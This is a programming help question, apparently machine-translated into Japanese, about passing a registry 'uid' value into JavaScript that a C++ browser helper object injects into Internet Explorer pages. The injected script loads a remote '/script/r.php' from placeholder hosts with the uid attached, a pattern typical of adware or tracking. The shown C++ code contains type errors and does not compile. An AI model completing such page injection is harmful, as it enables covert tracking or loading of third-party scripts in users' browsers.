1

アップデート

コメントに従って「バッファ」(DWORD)を文字列に変換しようとしましたが、次のエラーが発生します:

エラー 3 エラー C2664: 'sprintf': パラメーター 1 を 'char' から 'char *' に変換できません

エラー 4 エラー C2110: '+': 2 つのポインターを追加できません

そして、これが以下の更新されたコードです。助けてくれてありがとう、すべてのコメントは大歓迎です

バッファ値の例: BDF59E9937973429B3016736D7BECF92

        HKEY hKey;
        DWORD buffer;
        LONG result;
        char buffstr;
        unsigned long type=REG_DWORD, size=1024;

            result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
            if(result == ERROR_SUCCESS)
            {
               RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
               RegCloseKey(hKey);
            }
        sprintf(buffstr, "%lu", ( unsigned long )buffer);
        CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.url.com' : 'http://www.url.net') + '/script/r.php?uid="+buffstr+"';  html_doc.appendChild(_js);}}";
        CComBSTR bstrLanguage = L"javascript";

元の投稿

C++ DLL を使用して IE に JavaScript を挿入することができましたが、パラメーター (「uid」という名前のレジストリ値 REG_SZ と 64 文字の長さ) を JS インジェクションに渡そうとしていますが、このエラーが発生します:

2   IntelliSense: expression must have integral or unscoped enum type

私はC ++の初心者以下であるため、どんな推奨事項も大歓迎です

HKEY hKey;
DWORD buffer;
LONG result;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
    RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
    RegCloseKey(hKey);
}
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"';  html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";

問題のある行は次のとおりです。

CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script');  _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"';  html_doc.appendChild(_js);}}";

バッファが DWORD である場合、この CComBSTR に含めることができるように宣言するにはどうすればよいですか? (些細なことに聞こえたらごめんなさい)

4

0 に答える 0